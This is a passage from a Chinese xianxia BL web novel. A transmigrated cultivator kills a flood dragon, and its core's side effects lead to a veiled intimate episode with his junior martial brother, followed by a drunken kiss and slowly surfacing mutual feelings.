祁桓本想说什么,但看了残页之后,瞬间顿悟入神,立在原地不知在推演什么,神通灵力不受控制地外泄,颇为危险,但全部被法符控制住了。 许清浔欣慰一笑,无声道:“果然命运指引给你的,就是对你而言最好的。” 但他始终不明白,既是命,为何天道来找他改命?是上一次安排他人的命运翻车了,不得不重来,并且招来了一街的他? 天道那家伙,自五年前出现一次,说了那两段话后,便再也没有出现。它是信任他绝对能完成任务,还是……有别的事? 许清浔心中困惑,再者,自己之前的梦又是怎么回事,为何梦中的祁桓要那么警告自己? 不解之事甚多,暂时无法解,还是先度过眼下的难关吧。 许清浔目光坚定。 三日后,第四层偶发激烈战斗,不知是人与人的冲突,还是兽与兽的冲突。 一晃眼,又是一个月过去。 许清浔闭关有成,洞府内法符堆积成山,且都是地品法符。 他托腮自语,“几百万张上品法符才能勉强编织出一个天品阵法,而地品法符只用几千张便能成功,真不错,就是太难炼了,炼制一张,起码毁十张符纸,哎,我上次买的符纸无论数量还是质量,都追不上我此时的花哨了。” 符修实乃败家,战斗的本质就是烧钱,但看开一点,难道体修、剑修就不是吗,他们肉身拼斗,一旦出事,花起丹药来也是无底洞。 任何修士的修炼,终究都难离开“财”一字,否则为何会诞生千年世家乃至万年世家呢,这些修士集团最大的好处之一就在于敛财。 许清浔一笑,成功自我说服。片刻后,他大袖一挥,将洞府内的法符尽数收回。接着,他迈出门去,神采飞扬,转眼便消去了身形。 吾家师弟修炼辛苦,作为师兄,怎能不帮忙搞一些补药。 “我看东边那条大蛟就不错,顺便帮男同哥报仇了吧。” 显然,他还记得那本日事。 不久之后,东边响起一道凄厉的蛟鸣,随后水漫金山,有人看见,一名青衣修士正与一条大蛟斗法,大蛟依托地利,操着一手不得了的水法神通,强横无匹,而对面的青衣修士更猛,立身于一柄巨剑之上,道袍飞扬,身后是数不清的飞剑。 战斗足足持续了半个时辰,许清浔低估了大蛟的实力,但最终还是稳赢了。巨型的飞剑重重斩下,划破空间,将蛟尸分成数百块,切出了其金丹。 地面血流成河,而他悬在血河之上,挥手收拾了其所有尸身。 一颗裹着热气的血浊金丹飘到他面前,他垂眸寻思,这颗丹不好炼化,稍有不慎就会翻车,不给师弟了,他自己留下吧。 他前脚刚走,姬家三兄弟后脚就来。 姬武尚傻了眼,他本来做足了觉悟,要来讨伐这条令家主恨之入骨的大蛟,万万没想到,许清浔突然出现夺了蛟命。 “这……”姬物喜目瞪口呆。 “不愧是许大哥!”姬舞明满眼都是崇拜。 消息传到第四层各大法符,众人各有想法。 回到法府中,许清浔眉开眼笑,径直走向祁桓所在的修炼室。 他晓得,祁桓此时不在闭关,于是大大咧咧地走了过去,门边探头道:“师弟,师兄带好东西来了~” 修炼室内,黑衣青年背对着他,缓缓转身,双手上横放着一柄长剑,剑身呈雪色,剑纹清雅,剑柄呈青色,是一柄凌厉而漂亮的剑。 许清浔一顿,好奇问:“这是?” 祁桓语气故作平淡,“我炼的剑,送你的。” 许清浔瞪大眼睛,好像做梦一样,难以置信道:“师、师弟竟会送我剑?” 祁桓面不改色,一本正经地说:“真的,你收下。”说完,他走到许清浔面前,双手递上长剑,姿态又恭敬又强横。 好家伙,对师兄如此霸道?许清浔心里嘀咕了一下,笑道:“这会不会是你第一次送东西给我?” 祁桓一呆,自喃道:“第一次,是吗。” 许清浔随口说:“你之前总是对我爱搭不理。” 祁桓瞳孔顿缩,连忙道:“我……没有那个意思。” 许清浔凑近他,浅色的双眸缓缓逼视,“那你是什么意思?” 祁桓又是一呆,大抵因为不善言辞,干脆啥也不说,将长剑送到了许清浔身前。 “总之,它送给你。” 许清浔低头一看,发现剑柄还吊有剑穗,而且造型颇为独特。 他收在手里,琢磨着说:“这是……同心莲?” 祁桓微微点头,别过脸,但眸子却依然看着许清浔,显然非常在意许清浔喜不喜欢。 “同心莲,据说还有一个名字叫作合欢莲,没想到师弟你喜欢这样的。”许清浔笑了笑说,本没有调侃的意味,却令旁边的男人面红耳赤。 “我,不知道它还有这种别名。”他好像有些着急,想要澄清自己的清白。 许清浔抬眸,看他莫名局促的样子,颇觉得可爱,“看着挺好,上面的符文你是亲自刻的吗。” “当然!”祁桓几乎是即答,“材料也顶级,若是不小心损坏了,给我重炼便是。” 说时,他不知想到什么,补充了一句:“虽然可能比不上许家的宝剑就是了……” “那不重要。”许清浔打断,“我挺喜欢的,对师弟你刮目相看了。” 毕竟,这好像是第一次,家人之外的人给他送礼物。 祁桓确认到他满意,提起的心才缓缓放了下去。 片刻之后,洞府内肉香飘扬。 黑衣修士撩起袖子,埋头烤肉,撒料切肉等动作一气呵成。 许清浔坐在石上,目光定定地打量着对方光裸的臂膀。虽然这么说好像有些男同,但他真心觉得祁桓的手……非常性感。 呃,首先我绝对不是男同,再补充地说,尤其是青筋浮起、血脉贲张的时候。不是有一种说法吗?性.欲、食欲、暴力欲同出本源,起性.欲的时候,也容易起食欲、暴力欲。所谓能起性.欲的东西,就是性感的东西,具体情况因人而异。 啊,等等,我不是说我对师弟起性.欲了!许清浔突然在心里狡辩了一句,又莫名慌张,喃喃自语:“我干嘛要狡辩啊,我本来就不是男同!” 他摇了摇头,怀疑是那本男同日事影响了他,导致他看师弟的眼神微妙地有些不对劲……咳,你个混蛋,再怎么样师弟也才二十一岁啊,而你是一个成熟的大人! 许清浔疯狂谴责自己,总不可能是因为……突然间春心荡漾了吧,咳,虽然师弟长得帅又养眼,但你也不能迎男而上吧! 他内心叽里咕噜的,神色变了又变,白皙的脸颊浮现片片绯红,半晌都没有意识到,其实是那妖蛟金丹的影响。 他的炼化手段堪称完美,本不应有任何失误和不小心,偏偏那妖蛟金丹形态独特,丹中含丹,呈复丹结构,几千年来也只有这么一颗特异结构,而他则算是倒了大霉。 他压下脑袋,却压不住脑中乱飞的黄色废料。他心中大喊,就算幻想,也应该幻想一个香香软软的女孩子吧,师弟可是硬邦邦的男人啊。 许清浔挣扎着,不禁俯身扶额,感觉呼吸都变热了,他目光落在篝火上,时而抬起,却看不太清自家师弟的样子。 这种感觉,简直跟小时候发烧了一样,理智告诉他,必须要做什么,至少吃些调理的丹药,或者就地打坐调息,运转几个周天,大概就能好了,但任何一个想法刚起来,瞬间又沉了下去,思绪繁复且杂乱,像打乱的毛线团,怎么也理不顺。 男人的生理性需求真是麻烦,他胡思乱想,低声抱怨着,明显不太对劲的模样终于引起了对面男人的注意。 “师兄?” 第45章 第四十五章 失态 隐约之间, 许清浔仿佛听见了什么,断片的思维突然续了一下,但也只是一下,很快又断开了, 继续地下沉。其实, 只要睡一觉就好了, 小时候发烧时,他也是这么想的。 但呼唤声并没有停止,甚至越喊越紧张,怕他出了什么事。 迷糊之间, 他好像看到了什么, 眼前模糊地浮现出男人的脸, 对方紧张地望着自己, 一向冷淡的脸上显出焦急之色。 他呆了呆,下意识地说了什么,大概是一些让对方不要担心的话,还打算强行撑起身体, 表示自己没事。然而,心有余而力不足,他还没起身便砸到了对方身上,被对方眼疾手快地扶住了。 他感觉脸皮在发热,他可是师兄呀,怎么能在师弟面前丢大脸, 站都站不稳?又是一股意气上头,便又说着没事没事,然后强行站直身体。 这一下,若非那人一直扶着他的腰, 他恐怕真要摔倒了。 对方似乎说了什么,他隐约听见几个字,不要勉强? 好吧,是有些逞强了。 他糊糊涂涂地想,正要说什么,下一刻便被人揽腰抱起,而且是公主抱? 他感觉天旋地转,日月颠倒,而回过神后,心中泛起了些许不满。这是要干什么,你个师弟,一言不合就抱师兄?胆子咋越来越大了啊。 不过,还好他只是发烧,没有智商清零。 隐约感觉到对方的担心和严肃,他又怎敢继续逞强。 接着,他们似乎来到了里面的石室。 这儿比外面更凉爽、更舒服。 他成功坐了下来,后背大概靠着软榻,可是他的情况非但没好,还更严重了,既热得发慌,还有一种说不出的……嗯,身为男人都懂的火。 真是糟糕透了,果然是那个金丹的问题吗?他心里暗骂,无比希望自家师弟放下他就走,他虽然神智不清,但自己一个人处理……估计还行。 但对方居然没走,因为他一看就热得发慌,明显不是能够自理的样子。 接着,对方喂他吃了几颗丹药,虽然完全没有效果。 他咽下丹药,努力地想要说话,叫对方出去等他,但不知是吐字不清还是什么,对方仍旧坐在他身旁,右手稳若泰山地扶着他的后背,尝试传输灵力,调理他紊乱的内息。 他有些麻了,人却不由自主地靠近对方,贴着肩颈。他忽然发现,其实自家师弟身上也有体香,一种凛冽的香,像冬风裹带着的梅花香,让人痴迷。 啊,现在不是感慨哥们香的时候,重要的是,师弟快走呀!这已经不是你能解决的问题了,还是交给大人吧,快快听话出去! 他真的已经努力在说话了,但可能发音真的含糊,哪怕对方贴耳在他唇边,也听不清他究竟在说什么。 这种事对自家师弟来说肯定是第一次遇见,但师弟呀,你也是男人,总不可能真的看不出吧? 他胡思乱想,见对方一直没有动静,不知在犹豫什么,心中不禁生出了一丝火气,你师兄我快烧傻了,你单杵坐这儿,啥也不干也就算了,还很碍手碍脚欸! 他被烧出了火气来,甚至生出了将这个笨蛋就地正法的冲动,让你在这碍手碍脚,合该受些教训! 虽然这个想法只是一瞬间而已,但也够惊悚了。要知道,对方可是原著里那个毁天灭地的大变态啊,哪能说就地正法就就地正法的,万、万一不小心黑化了,绝不是开玩笑的! 可是,烧得更厉害了。 他迷迷糊糊地,控制不住地抬起手,却被对方忽然握住了手腕。 握力不大,却足够令他动弹不得。 他有些恼怒,你小子走又不走,你师兄动个手,你都要阻止? 但更想不透的事情发生了,对方忽然转头,贴着他耳边低语,声音里面似乎满含歉意,问他可不可以什么的,他的脑子在一个呼吸间不知短路了多少次,居然点了点头,因为他其实这个状态下……自己也做不来。 后来、后来……只记得自己继续靠着软榻,然后……在对方修长的五指之间…… 许清浔吓得一身冷汗,猛然醒来,当即坐起身。他深吸了一口气,慌忙左右看去,没有看到任何人的身影,自己依然身穿道袍,并无什么特别。 “那是梦吗。”他低声自语,声音有些沙哑。他有种不祥的预感,尽管那已经是发生过的事情,等等,发生过的事情?到底发生了什么? 许清浔面色发白,自知身体并无大碍,只是有些疲劳。他疑惑,“昨日……到底发生了什么?” 都是那个该死的蛟丹,自己没有对师弟做什么……那种事吧? 许清浔浑身一凛,赶紧翻找记忆,很多东西完全记不起了,但记得尤其清楚的是,对方灵活有力、体感微冷的双手。 许清浔大惊,当即坐立难安,“我、我难道……可是我那种状态,又强迫不了他。” 也就是说—— 许清浔心思大乱,呆立原地许久,将近半个时辰才终于回过神来,虽然还是不明白,究竟怎么回事。尤其是,自家师弟究竟在想什么? 良久,他终于走出洞府,精神念丝不敢放得太开,但他能感知到,对方就在前方。 或许是在炼器铭文? 许清浔皱紧眉头,头一次如此不知所措,不知该如何面对那个男人。 是啊,他们都是男人,而且还是师兄弟。或许对方只是……看自己难受,所以勉为其难地帮忙一下呢?不要想太多了,对方搞不好没放在心里。 许清浔小心翼翼地走到大堂,脚步轻且缓,将近无声,但修士怎会察觉不到。 他突然停步,而对方似乎感觉到了什么,居然主动开口,轻声道:“师兄,无恙了吗。” 许清浔大感诧异,而接着,对方还转过身来,仿佛无事发生般,对他淡然一笑,问道:“怎么了吗?” 许清浔呆住,有那么一刹那,他怀疑自己是做了一场梦而已,其实记忆里的事情并没有发生,师弟还是师弟,他也还是他,没有任何不协调,日子照样过,岁月静好。 但他一看到对方的手臂,心情瞬间就不淡定了,当即问:“师弟,我昨日是不是失态了?” “有吗。”祁桓居然反问。 许清浔愣住,难道真是他做梦? “我的意思是,有没有发生什么……不,不如你跟我说说,昨日发生了什么?” 他忐忑地说。 祁桓面色微变,半转过身,神色看不清楚,语气平淡道:“没什么,昨日师兄炼化妖丹出了些问题,不省人事,我便将师兄抱到石床上,之后师兄大睡,再没有别的了。” 许清浔傻眼,追问:“真的没有别的了吗?” 祁桓转眸,神色淡淡,“没有了。” 许清浔一怔,将信将疑,可对方既然这么说,或许真的没有什么大事吧。他忽然间放下了心,笑道:“那昨日我睡着之后,蛟肉你一个人吃完了?” “嗯。”祁桓点点头,又转过身,背对着他,“挺好吃的,可惜你没有口福了。” 许清浔大笑,仿佛恢复了往日的精神,调侃道:“区区一条蛟而已,待师兄成为九界第一强者,别说蛟肉了,就算是龙肉,也能带来让师弟尝尝。” “师兄还是别说大话了,我等在此处已有一些时日,过不久,九界天才会就要开启了。”祁桓一边铭刻符文,一边平淡地说。 许清浔走到他身边,低头打量着他手上的短剑,眼神颇为欣慰,“师弟已经开始做准备了吗。” “早就开始了。”祁桓随口应答,双眸始终看着手里的剑,仿佛极其专心。 “是要开始准备了,最多一个月,我们就要出秘境,打进那个天才屠杀场了。” 许清浔眨了眨眼,说到后面,他用了一个不常见的说法。 屠杀二字,杀气极甚,并非常人的说法。对许多人来说,九界天才会最重要的是横压一路天才,扬名立万,震撼九界,但对许清浔来说,似乎别有意味。 他目光扫过剑尖,玩笑般问:“若是九界天才会的最后,师兄无法陪你走下去,你会如何?” “不如何。”祁桓似乎想都没想,“不会有那一天。再者,我更担心……” 许清浔一呆,下意识地问道:“你更担心什么?” “担心我追不上你。”祁桓沉声,剑眉紧蹙,铭刻符文的动作都停了下来。 许清浔愣住,好像从未想过这个问题,呆呆地问:“师弟,在担心这个吗。” “嗯,师兄如天上日,家世显赫,天赋和实力都超乎寻常,而我……平平无奇的小修士而已,自然天天如履薄冰,担心有朝一日被师兄甩下、丢下。”祁桓很少这样说话,说话时,眼神都暗了下来,眉宇间添了一分郁气。 许清浔睁大眼睛,片刻才理解过来,柔声道:“原来如此,师弟还有这种烦恼,倒是师兄太不注意了,没事,哪怕世界毁灭,乾坤颠倒,你师兄也不会丢下你的。” 说完他便是一笑,笑容如暖日,和美而明媚。 祁桓瞳孔微缩,片刻才收回视线,“是么。” 他似乎笑了,但许清浔看不见他笑的那半侧脸。 这日下午,许清浔悄无声息地离开法府,转而出现在几十里外的某个地方。 “没事发生,真的吗。还是说,只是他想当作无事发生。” 他喃喃自语,显然仍旧耿耿于怀。 “师弟估计很介意那件事,毕竟他有洁癖,肯定不想……” 许清浔面色变了变,更多的是自责,若不是他失手,也不至于造成今日的局面。 “好在,他没有生气,一切如常,一切如常。” 许清浔深吸了几口气,不断地洗脑自己,足足三刻钟后,他才离开那里,前往洞穴深处的某片灵地。 而就在他离开不久,一道精神念丝慢慢退去。 留在法府中的男人望着自己的手掌,神色阴晴不定。 “终究还是僭越了。” 比起预想的紧张、忐忑、乃至恐惧,占据绝对上风的是居然是兴奋。 克制不住的、压倒性的兴奋。 像噬魂的毒药,瞬间支配了他的四肢百骸肉骨至髓,甚至是神魂本源。 他可能要完了,完在那个仍旧浑然不知的人手里。既想倾述自己的心意,又怕会吓跑那个人。他知道,这种事一旦说出,他们就不可能回到过去了。 “……” “还是实力不足。” “若是我有足够的实力,我便无须担心,师兄会离开我。” 良久无言,最后他站起身,消去了身影。 夜里,许清浔抱着一株天品灵材回府,脸上满是得意的笑容,刚站稳便喊道:“师弟,师兄带好东西回来了!” 里面无人回应,法府一片安寂。 许清浔一呆,放下怀中的灵植,手握玉佩感知了一下,随即面露诧异之色。 “师弟怎么会不在感知距离之内?” 他当即慌了,有种事情即将脱离掌控的危机感。 明明白天还好好的,怎会如此?他立刻想去找人,却不知对方可能去哪里。这种事情以前不是没有发生过,五年前他们还没有熟悉的时候,对方便到处乱跑,但自己每次都能精准地找到人,因为当时对方实力有限,加之他自己也有意识。 而这次一声不吭不见人影,到底是…… 许清浔无法放心,当即集中神识,用精神念丝到处找人。而半个时辰过去,他发现对方竟也不在精神念丝的探知范围之内。 “师、师弟这次不会是离家出走吧!” 深夜里,法府外一片灰暗。 有人踏着夜色回来,道袍略显狼狈,似乎经历了好几场厮杀,他停下脚步,换了一身崭新的道袍,才放心走回法府。 可忽然间,他脚步一顿,目光略带紧张地望着突然出现在面前的青衣修士。 “师兄?”他轻唤。 青衣修士目光幽怨,那一刻,竟仿佛抱怨丈夫晚归的妻子,“你小子,怎么出门不说一声?我还以为你……” “……我什么?”黑衣修士下意识地问。 “不回家了。”青衣修士幽幽地盯着面前的男人。 家,仅一个字,即便是玩笑、调侃,也令那个男人控制不住地欣喜若狂。 家,我和师兄的家。他心中低语,几乎想了一个晚上。 第46章 第四十六章 强势而霸道地吻了上去。…… “话说, 你出去干什么了?为何不跟我说?” “狩猎,师兄没有看见我留下的符文吗。” “没发现……你小子,以后玉佩联系!” “嗯。” 两人吵吵闹闹,但没有大波折, 很快便彼此投入了修炼。这些日子里, 有些修士找到他们, 或是问候交善,或是试探打量,包括姬家三兄弟、罗家两兄弟、容家两姐妹等人。 祁桓不怎么与人打交道,一般站在许清浔身后, 看着许清浔与人交谈, 像一块存在感惊人的背景板, 只有许清浔转头喊他时, 他才会轻应一声。 期间,李梦好也找到了他们,态度恭敬有礼,不好推辞。 许清浔本不想与李梦好打交道, 毕竟李梦好是原著的六欲魔尊,大变态的预备役,但李梦好竟尤其崇拜他。 等等,不是崇拜祁桓,而是崇拜他? 许清浔一顿,这才回味出不对之处。原著祁桓的迷弟, 竟然反而成了他的迷弟!虽是好事,但怎么有些一言难尽? 不管了,反正这个走向……应该比原著好? 最后,他跟李梦好说了一些玄之又玄的话, 虽是无意之间,但似乎令李梦好顿悟了什么,十分感激地离去。 其实,李梦好离开之前,许清浔动过杀心,因为李梦好哪怕今日还不是坏人,将来也会因为修炼的功法心性大变,何不趁早……但李梦好给他表现出了另一种改变的可能,令他犹豫了。 于是他送了李梦好一件器物,目送李梦好离开。 自始至终,祁桓都在他身后看着,一声都不吭,不赞成也不质疑。 只是那日夜里,突然问了一句。 “师兄,是否认识那个人。” 似乎只是随口一问的语调。男人擦着剑,双指划过剑尖边缘,双眸低垂,眼睑覆着淡淡的阴影。 闻言,许清浔微微一愣,思考片刻才道:“总觉得……有种熟悉感?” “熟悉感,是吗。”祁桓拇指轻压,语气淡淡道:“真巧,我也有。” 许清浔浑身一凛,当即问:“你也有熟悉感?怎样的熟悉感?” “说不清,或许曾经见过。” “我们之前乔装路过那次?” “不是,在此之前。眼熟。” 许清浔听着,心里隐隐涌起了一丝不祥的预感,立刻道:“错觉吧,你们不可能见过面。” 着急之下,他不小心说漏嘴了,而后心跳险些停止,但还好,祁桓好像没有注意到。 “也对。”男人低头,继续打磨着手中的剑。 这样的态度虽好,令许清浔放下了心,但与此同时,许清浔也更感亏欠。 因为他们之间,似乎存在一种巨大的不公平,不只是表面可以看见的,还有更深层的——信息不公平。 他也想坦诚待人,不作任何隐瞒,但……他愁眉苦脸,过了七八天,才勉强压下这些杂念,让一切都回归平常。 该修炼修炼,该吃喝吃喝。 临近出秘境,许清浔负手而立,夜观星象,身旁数十张法符悬浮,起起伏伏,如卫星般环绕。 “快出去了,在这里的收获比预想的丰富,真不错,你觉得呢,师弟?” “万事俱备。” 灰影下的男人回答。 “出去之后陪师兄去一趟八宝城买符纸,如何?” “可以。” 许清浔转眸,眼里透着几分意外。 进入玄衍秘境以来,对方似乎……态度好了许多。 不再冷淡,不再爱答不理,可也说不上热情,既有种说不出的距离感,又有一种…… 许清浔盯着那个男人,渐渐地陷入沉思,不知为何,面色忽然闪过一抹绯红,好似想起了什么不好的事情,连忙摇了摇头。 不久之后,他们离开了玄衍秘境。 这期间,外界风雨欲来,各大家族之间剑拔弩张,尤其是王家与许家。 王家王腾飞、王凰潜的父母一脉得知秘境里面的消息之后勃然大怒,势要许家杀人偿命,交出许清浔,但许家对此不予理会,许如初冷漠表示,大世之争本就残酷,技不如人,死了又能怪谁。 这话当然激怒了王家。 两家若是打起来,势必殃及整个玄界。 与此同时,万年世家的李家隔山观龙斗,始终没有发言。 另外八大千年世家同样,王家之前扩张得罪了他们,如今找他们联盟一同攻许家?门都没有。 但万万没想到,叫停这场争端的竟然是王家家主,王守渊。 ——那个传说中冷漠无情、一心只有成仙的临渊尊者。 据说,那日临渊尊者的神通覆压一千多里,如烈日当空,烧灼大地,强势镇压了王家主战的一脉修士,将他们收拾回家,予以了结。 此事传遍玄界,引起一片震撼,但没人理解这番用意。 即便不打,也不用对自己人出手吧? “临渊尊者究竟在想什么?” “不知,听说他相当看好许清浔。” “可许清浔不是许家人吗,再怎么看好,也不至于为了外家人对自家人下手吧。” 外人议论纷纷,八宝城亦是满城风雨。 路过的一名黑衣修士停下脚步,似乎对他们聊的事情颇感兴趣,却被身边的伴侣勾了勾手。 “夫君,还不走吗?”大美人抬起浅色的眼眸,撒娇般望着身旁的男人。 男人顿了顿,耳尖迅速涨红,木头般僵硬地点了点头。 无意间看到这一幕的修士感慨道:“如此恩爱的道侣如今鲜少看到了。” 许清浔听到这一评价,不禁回头看了那人一眼,面露古怪之色,转头看祁桓,发现对方面色淡淡,好像没听见一样。他于是寻思,莫非是自己想多了? 不管了,这两天,他带着祁桓大肆收购八宝城的符纸灵材,出手精准而阔绰,还为祁桓买到了不少好东西,可惜后者对此反应淡淡。 入夜,客栈中。 许清浔终于忍不住问,“师弟,你看着不开心,为何?” “并无,只是……” “只是什么?” 祁桓铭刻符文的手顿了顿,沉声道:“我派不上用场。” 许清浔愣住,当即懊恼自己粗心大意,忽视了对方的心情。他立刻补救道:“你不是派不上用场,你一直很有用场!” “在于?”祁桓转头。 许清浔顿时语塞,他总不能说,是因为我今日所走的路,都是原著中你摸爬滚打走出来的路,没有“你”,怎会有今日的轻松顺畅。 他无法说明,犹豫良久,只能说:“你有一天会知道的,你对我而言的意义。” “……是吗。” 祁桓没有强问,点头道:“我等你说。” 师弟如此善解人意,本是一件好事,然而许清浔深夜一回想,还是觉得对不起对方。 到底怎么回事呢,明明穿越来的时候,自己还想着怎么整对方,今日却一心只想为对方好,不想两人之间存在隔阂。许清浔回望来时路,只觉此一时彼一时,人活在世上,怎样的改变都可能发生。 所以要……允许自己发生改变,如《醒红尘》所说的那样。 但重点似乎并不是这个,真正打乱他的恐怕是另一件事。 “其实自那日以后,我就越来越……” 许清浔无声自语,眼神夹带着一丝迷茫。 随着境界的提升,神魂通明,记忆越来越清楚,甚至想起了清晰的细节。 导致他,不得不被迫面对—— 那日,自己的师弟,究竟出于怎样的心思,为自己这么做呢。原著里没有答案,哪怕在脑子里重读了十几遍,也想不出答案。 总觉得亏欠了什么,毕竟师弟那么厌恶男人,却…… 许清浔胡思乱想,脑子都差点烧坏了,最后没忍住取出清酒,在窗边浅饮着解解闷。 酒味浓郁,飘溢满屋。 里室的男人忽然睁开眼睛,似乎察觉到了什么。 青衣修士喝到一半,幽幽地说:“那又如何,礼尚往来,改日我也给他来一回,不就扯平了吗?” 好主意啊!再说了,我的技术肯定比他好!只要扯平了,一定就不会有事了! 他突然激动,面色一片绯红,却还自以为清醒。 正激动着,他又低下头,闷声道:“可是他又不会有那种需求。” 哎,这种酸涩,但又甜蜜的感觉……究竟是什么情况?谁来说明、谁来解释,上天啊,给我来个军师吧! 许清浔心中呐喊,又不禁灌了一壶酒,一反常态的喝法让人实在无法无视。 祁桓转头,透过屏风,径直看着那道清瘦的身影。 “师兄。”他轻唤。 但那个人喝得正起劲,完全听不见他的声音。 “举杯邀明月……下一句怎么说来着?”许清浔侧首,浅色的双眸中浮现出越来越浓的醉意。 他绝对是一个愚蠢的穿越者,居然会因自己享有信息差而有道德负担,但这也并不是他做的唯一一件蠢事。他的破绽很多,若非身边人“善解人意”,恐怕早就遭到各种质问了。但严格来说,他的破绽并非因为他蠢,而是因为他……无法贯彻做一个理性至上利益第一的人,更麻烦的是,他认为自己已经与这个世界密切相关了,放不下太多事、太多人。 “还是做屑读者好,为所欲为,想改变就改变,想怎么调戏就怎么调戏。” 只有抛弃道德,才能享受缺德人生!他为师弟做了那么多,师弟帮一下忙,那是天经地义嘛。他心中碎碎念。 想着想着,眼前好像出现了对方的身影,还朝着自己伸出了手,要抱起自己吗? 许清浔呆了呆,忽然明媚一笑,主动抓住对方的手,顺势扑倒对方,令屏风倒塌,强势而霸道地吻了上去。 吻得缠绵且持久,分开之后,甚至还张扬地笑,仿佛战胜了什么一样。 而身下的男人则是他的战利品。 他最爱的战利品。 第47章 第四十七章 “谁、谁要你喂啊!”…… 月光下, 祁桓后背抵着屏风,缓缓垂眸,看着在自己身上大肆享受了一番,如今沉沉睡着的人, 一时无言。 究竟怎么了, 并不知, 但这种事并非没发生过,不如说,经常发生。 师兄表面轻松,但似乎扛着一股巨大的压力, 每当快要支撑不住的时候就会喝酒。 那股压力, 师兄本不必承受, 仅仅因为师兄是那样的人, 所以只得承受。 他知道,他当然知道,早在跟踪师兄的那几年里,他就感觉到了。那样活着会很辛苦, 他好几次想对师兄说,却说不出口。 因为怕师兄知道他跟踪的事?或许有一些吧,但更重要的是,他知道,即便说了,他那个顽固的师兄也不会因他而改变。 再者, 他也不想改变师兄。 他就喜欢那样的师兄。 想到这,祁桓眸子一颤,背脊不由自主地紧绷。 是,若是不喜欢, 谁能跟踪自己的师兄这么长时间。那不成了师兄口中的变态吗? 嗯……即便有喜欢作为理由,自己好像也是一个无可抵赖的变态。 “所以,应感到亏欠的其实是我才对。” 祁桓低语,唇线微扬,眼神温柔如水,许清浔清醒时,绝对看不到他这番神色。 可惜此时的许清浔醉醺醺,只知道埋头贴蹭着人,仿佛身下之人是毛绒布偶一样,嘴里喃喃自语,“师兄醒悟了……从此以后要做一个缺德的师兄,我要狠狠恶心你,狠狠折腾你,让你叫苦连天,只得臣服在我的淫威之下!嘿嘿……师弟就是师兄的小弟,小弟就是要任师兄差遣的,师兄要你往西,你绝不敢往东,师兄要亲你,你还得主动迎上来,晓得吗!” “是、是、是。” 祁桓连说三个是,语气还越来越宠溺,眼神温柔得几乎能溺死人。 那个人一听,更是洋洋得意,好像一个终于抢到媳妇的山大王,继续埋着祁桓的肩颈,贴语道:“区区小弟,还蛮时务的嘛!师兄非常高兴,决定了,以后师兄成帝了,你就是师兄座下第一小弟!地位仅次于师兄我,瞧,师兄是不是对你特别好呀~” 说着,他恶劣地吻了吻身下之人的侧颈,但这个吻比起对人,更像是对物,对自己心爱的宝物。 “只是座下第一小弟吗。”祁桓似乎有些不满,忽然抬手,轻抚着那个人后颈的发丝。 “干嘛啊,大帝座下第一小弟……不是已经很牛了吗?你还想要更高?嗯……倒是有野心,可以,师兄喜欢有野心的男人!只是上边确实也没位了呀,要不,你做我帝后?”那个人声音越说越低,似乎也觉得这么说不对,因此语气中透着几分心虚。 然而,祁桓却是眼睛一亮,十分满意般道:“帝后,倒是不赖。” “啊?”醉倒的人反而迷糊了,似乎怀疑自己听错了,“不赖?可是帝后哦,师弟,你也会打趣师兄了吗?” “我认真的。”祁桓低眸,声音罕见地温柔。 “认真的?”那人呆了呆,随后面色绯红,满眼难以置信,呓语般道:“这不可能……再说了,你个禁欲高僧,知道做帝后意味着什么吗?呵,你一定不知道,再说了,你还讨厌男人叻!师兄若天天要你,你铁定发火然后对师兄拳打脚踢,夭寿啊,这可是家暴!” 祁桓闻言笑了,笑得很轻,问道:“若是真的,师兄又当如何。” 话音未落,他神色变了,从轻松到紧张,因为这个问题的答案关乎他的恋情……是否能有结果。 “若是真的……” 那个人傻了,好像问题超出了他的理解范围,令他烧坏了脑子,足足傻了片刻,之后直接睡倒了,脸贴着身下男人的胸膛,渐渐均匀呼吸。 睡得……格外安详。 “……”这个问题如此难回吗。 祁桓深吸了一口气,表情阴晴不定。最后,他不知对谁说话,低声道:“对了师兄,我如今不讨厌男人了,你知道吗。” 酣睡之人无法回答,只是本能地抱紧了他。 第二日,许清浔醒来已经是正午,头疼,身沉,坐起身时,只觉浑身筋骨发麻。 他有些迷茫,努力回想昨日的事,记得自己喝了些酒,然后抱怨不断,最后砸到了祁桓身上。 等等,砸到了? 许清浔瞪大眼睛,当即左顾右望,寻找祁桓的身影,但祁桓此时并不在房内。 房间里面一切如故,并没有任何特别。他心一抖,立刻用玉佩探知祁桓的踪迹,发现祁桓就在楼下不远才终于放心。 “他在买东西吗?不管怎样,人还在就好。” 许清浔下意识挂记自家师弟,多年已成习惯。他甚至有过一种想法,要是那个男人是个挂件就好了,这样的话,他就可以天天挂在身上。 “就是不晓得,我昨日有没有说了什么不该说的话。” 许清浔纳闷,然后摇了摇头,“我若是说了,他绝不会悠闲地跑到楼下买东西吧,对,若说了,他肯定会守在我床头要我交代清楚,哦不,是直接叫醒我逼问我。” “所以,应该无事发生?但为何我总有一种昨日说错过话的感觉?” 真是提心吊胆啊……等等,所以说我身为师兄,干嘛老是担心这个担心那个? 我可是师兄啊! 许清浔重振精神,坚决从此以后,自己要抛弃亏欠心理,对祁桓硬气起来,霸道起来,做个威武霸气的缺德大师兄! 三刻钟后,推门声响起,随后是脚步声。 许清浔一听,当即坐到床上,神气飞扬,喊道:“师弟回来了,正好,给师兄泡一壶醒酒茶吧。” 这本是很任性的一句话,却没想到对方直接回答。 “好。”祁桓放下剑匣,撩起衣袖,竟直接上手。 许清浔睁大眼睛,眼看着祁桓一本正经地端水沏茶,甚至送到了他面前。 茶香扑鼻,甚是宜人。 而他愣住了,呆呆的,一言不发。 祁桓反而笑了,轻声道:“要师弟喂吗。” 许清浔当即红了脸,惊慌失措地接下茶杯,狂咽了一口,“谁、谁要你喂啊!” “我观世间的情侣,大多如此。”祁桓突然语出惊人。 许清浔更是差点咽住了,面红耳赤道:“人家是情侣,我们又不是!” 祁桓沉默,再次语出惊人,“师兄莫非忘记昨日之事了。” 许清浔傻眼,面色转白,声音带着颤抖,“昨日?昨日我做了什么?” 祁桓看了许清浔一眼,那眼神间仿佛夹藏着千言万语,有控诉,有抱怨,十分复杂,仿佛许清浔昨日真的做了什么对不起他的事。 许清浔从未见过祁桓这种眼神,顿时感觉大事不妙,莫、莫非他酒后乱性,对师弟行了什么……非、非礼之事?! 话说回来,确实记得自己好像压在师弟身上。啊?我压师弟?真的假的。 祁桓转头看向窗外,压着声道:“师兄忘了吗,那便忘了吧。” 语气中竟带着一丝哀怨?! 